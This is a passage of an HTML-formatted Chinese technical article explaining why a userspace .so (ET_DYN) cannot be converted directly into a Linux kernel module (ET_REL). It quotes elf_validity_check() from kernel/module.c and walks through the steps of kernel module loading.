leaf="">动态链接库，位置无关</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ld.so（用户空间）</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ET_EXEC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">可执行文件</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">内核 ELF 加载器</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ET_CORE</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">core dump</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">—</span></p></td></tr></tbody></table><p data-line="36" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">关键认知：so文件是 ET_DYN，ko文件是ET_REL。它们的ELF类型就不同。</span></p><h3 data-line="38" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">so不能直接转ko的原因</span></h3><p data-line="40" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.so</span></code><span leaf="">文件是 ET_DYN（动态链接库），结构上和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">有本质差异：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">内核直接拒绝</span></p></li></ol><p data-line="44" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核加载模块的第一步，就是检查ELF类型——必须是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ET_REL</span></code><span leaf="">，否则直接返回</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-ENOEXEC</span></code><span leaf="">。ET_DYN的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.so</span></code><span leaf="">连第一道门都过不去。这个检查在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kernel/module.c</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">elf_validity_check()</span></code><span leaf=""> 中：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="46" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c: elf_validity_check()</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">memcmp</span></span><span leaf="">(info-&gt;hdr-&gt;e_ident, ELFMAG, SELFMAG) != </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    || info-&gt;hdr-&gt;e_type != ET_REL         </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ← 只接受 ET_REL</span></span><span leaf=""><br/></span><span leaf="">    || !elf_check_arch(info-&gt;hdr)</span><span leaf=""><br/></span><span leaf="">    || info-&gt;hdr-&gt;e_shentsize != </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(Elf_Shdr))</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> -ENOEXEC;</span></code></pre><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1" start="2"><li><p><span leaf="">动态链接段太多</span></p></li></ol><p data-line="57" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">.so里塞满了动态链接基础设施：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.dynamic</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.dynsym</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.dynstr</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.hash</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.gnu.hash</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.got</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.got.plt</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.plt.got</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rel.dyn</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rel.plt</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.interp</span></code><span leaf="">。</span></p><p data-line="59" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些段包含了各种不必要的信息，对内核模块加载器毫无意义，必须全部删除。</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1" start="3"><li><p><span leaf="">符号表带了版本后缀</span></p></li></ol><p data-line="63" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">.so 的符号名长这样：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="65" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">puts@GLIBC_2.2.5</span><span leaf=""><br/></span><span leaf="">malloc@GLIBC_2.0</span></code></pre><p data-line="70" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核导出符号可没有这些</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">@</span></code><span leaf="">后缀。用带后缀的名字去查内核符号表，内核在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">simplify_symbols()</span></code><span leaf=""> 里调用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resolve_symbol_wait()</span></code><span leaf=""> 做严格的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strcmp</span></code><span leaf=""> 比对，当然查不到。</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1" start="4"><li><p><span leaf="">PLT/GOT引入的重定位一团乱</span></p></li></ol><p data-line="74" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">.so 里的函数调用默认走 PLT（过程链接表），会生成大量 PLT 相关的重定位条目。内核加载器内部的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apply_relocations()</span></code><span leaf=""> 遍历所有 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHT_RELA</span></code><span leaf=""> 段逐个处理重定位，这些 PLT 重定位条目会被逐一处理，但处理逻辑和用户空间 ld.so 完全不同，结果就是错位。</span></p><p data-line="76" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">结论：用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">gcc -c -fPIC</span></code><span leaf=""> 编译成 .o（ET_REL），直接从 ET_REL 转 ET_REL。</span></p><h2 data-line="78" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2 内核模块加载链路</span></h2><p data-line="80" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在讲具体坑之前，先沿着内核源码（以 Linux 5.10 为例）把模块加载的完整路径走一遍。后面所有坑的根因都能在这条链路上找到。</span></p><h3 data-line="82" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">加载前校验与架构段处理</span></h3><p data-line="84" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第一步：ELF 合法性校验 —— </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">elf_validity_check()</span></code></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="86" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">elf_validity_check</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> load_info *info)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (info-&gt;len &lt; </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(*(info-&gt;hdr)))</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> -ENOEXEC;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">memcmp</span></span><span leaf="">(info-&gt;hdr-&gt;e_ident, ELFMAG, SELFMAG) != </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">        || info-&gt;hdr-&gt;e_type != ET_REL          </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ① 必须是 ET_REL</span></span><span leaf=""><br/></span><span leaf="">        || !elf_check_arch(info-&gt;hdr)            </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ② 架构必须匹配</span></span><span leaf=""><br/></span><span leaf="">        || info-&gt;hdr-&gt;e_shentsize != </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(Elf_Shdr))</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> -ENOEXEC;</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ③ 段头表必须在文件范围内</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (info-&gt;hdr-&gt;e_shoff &gt;= info-&gt;len</span><span leaf=""><br/></span><span leaf="">        || (info-&gt;hdr-&gt;e_shnum * </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(Elf_Shdr) &gt;</span><span leaf=""><br/></span><span leaf="">            info-&gt;len - info-&gt;hdr-&gt;e_shoff))</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> -ENOEXEC;</span><span leaf=""><br/></span><span leaf="">    info-&gt;sechdrs = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)info-&gt;hdr + info-&gt;hdr-&gt;e_shoff;</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ... 后续还会校验段名字符串表索引的有效性</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="110" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">三项硬性检查：ELF 魔数、ET_REL 类型、架构匹配。任何一个不过就直接 -ENOEXEC。这就是为什么 .so 不行，同时也意味着我们不能修改 ELF header 把 ET_DYN 改成 ET_REL 了事——架构检查 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">elf_check_arch()</span></code><span leaf=""> 在 ARM64 上还会验证段结构的完整性。</span></p><p data-line="112" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第二步：内核元数据校验 —— </span><code 